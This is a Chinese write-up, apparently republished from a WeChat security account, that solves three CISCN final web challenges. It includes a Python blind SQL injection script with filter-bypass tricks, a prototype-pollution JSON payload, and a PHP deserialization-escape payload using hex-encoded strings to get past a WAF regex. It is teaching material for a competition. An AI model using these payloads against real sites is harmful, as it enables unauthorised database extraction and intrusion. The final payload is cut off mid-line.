对ciscn final的web的小解析

  • A+
所属分类:安全文章
对ciscn final的web的小解析
亲爱的,关注我吧
对ciscn final的web的小解析

10/10

文章共计1290个词

预计阅读8分钟

来和我一起阅读吧


1

Web


输入1点击输入框后会显示如下参数:

?id=1&limit=1

看下源码能得到这么两句sql语句:

<!-- 
$query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
//$query = "SELECT flag FROM real_flag WHERE id = $id limit 0,$limit";
-->

会发现左右过滤不相同,尝试如下可以把limit语句注释掉:

id=1/*&limit=*/

此时sql语句变成:

SELECT * FROM fake_flag WHERE id = 1/* limit 0,*/可控内容

空格被过滤了,可以考虑t或n来绕过,因此输入如下会发现语句执行成功:

?id=-1/*&limit=1*/or%0a1

or 1=1发现等于号被过滤,fuzz一下能得到部分可用函数,且左边没有过滤减号:

ord
mid
group_concat

过滤逗号可以采用from(1)for(1)的形式来绕过。

盲注脚本:

# conding=utf-8
# ciscn2020 web1 blind
import requests

req = requests.session()

url = "http://ip:port/?id={0}&limit={1}"

def commonGET():

    payload1 = "-1tort{0}-/*"
    payload2 = "1*/ord(mid((selecttgroup_concat(flag)tfrom(real_flag))from({0})for(1)))"
    chars = '-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

    result = ""

    for i in range(1,50):
        for j in chars:
            payload3 = payload1.format(ord(j))
            payload4 = payload2.format(i)
            url1 = url.format(payload3,payload4)
            rep =  req.get(url1)
            text = rep.text
            # print(text)
            if "searched nothing" in text:
                result += j
                print(result)
commonGET()



2

Web2

比赛没咋看这个题,源码只存了个app.js跑不起来就没复现,大概看了一下是原型链污染。

player是一个字典,注意到:

因为monster也是一个字典,且存在hp,并且我们是先攻击怪兽,因此我们污染buff的话就可以一刀秒了boss,然后就是用这一个循环进行污染:

对ciscn final的web的小解析

传入:

{“__proto__“:{“buff”: 1000}}

那么就会把玩家的buff污染为1000,那么看到伤害的计算:

对ciscn final的web的小解析

攻击+buff,也就是说这里就可以让玩家攻击无限大直接秒了boss了。

本地测试可以发现如下:

对ciscn final的web的小解析

打败boss即可getflag。


3

Web3


Web3其实考了两个点一个是反序列化逃逸,一个是反序列化串中的s替换为S时可以把字符串用16进制表示,个人感觉这个题其实就是0ctfpiapiapia+强网杯2020的web辅助。

wwwroot.zip源码泄露。

给了一个user类,逃逸点在于:

private function waf($string)
{
  $waf = '/phar|file|gopher|http|sftp|flag/i';
  return preg_replace($waf, 'index', $string);
}

至于从哪里进行序列化串的传入,看到:

对ciscn final的web的小解析

先说我们传入的虽然是一个数组, 但因为waf处如果我们传入一个flag,就会被替换为index,此时长度差为1。

对ciscn final的web的小解析

在这里会把我们的序列化串waf后再反序列化,我们利用它可以逃逸出来一个user对象。

对ciscn final的web的小解析

waf的话可以使用s替换为S以此使用16进制来表示flag.php来绕过,这一个过滤限制了我们只能使用old_password字段,否则的话可以采用gopher替换为index来吃掉部分序列化串。

对ciscn final的web的小解析

需要伪造的序列化串为这么一串东西,长度为196,所以这里需要196个flag替换为index:

对ciscn final的web的小解析

本地模拟一下过waf会发现这里长度980其实就是index的长度总和:

对ciscn final的web的小解析

那么余下的序列化串理所当然就逃逸出去了。

update_username=1&old_password=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:1:"1";O:4:"User":6:{S:8:"username";s:1:"1";S:8:"password";s:1:"1";s:3:"age";s:1:"1";s:5:"email";s:1:"1";S:12:"0User0avatar";S:8:"666C61672E706870";S:13:"0User0content";s:0:"";}&update_password=123&update_age=1&[email protected]

当然了如果没有前面对字段的格式过滤,也可以采用如下的payload:

update_username=1&old_password=1&update_password=1&updat


10/10

欢迎投稿至邮箱:[email protected]

有才能的你快来投稿吧!


对ciscn final的web的小解析
“阅读原文”我们一起进步

本文始发于微信公众号(合天智汇):对ciscn final的web的小解析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: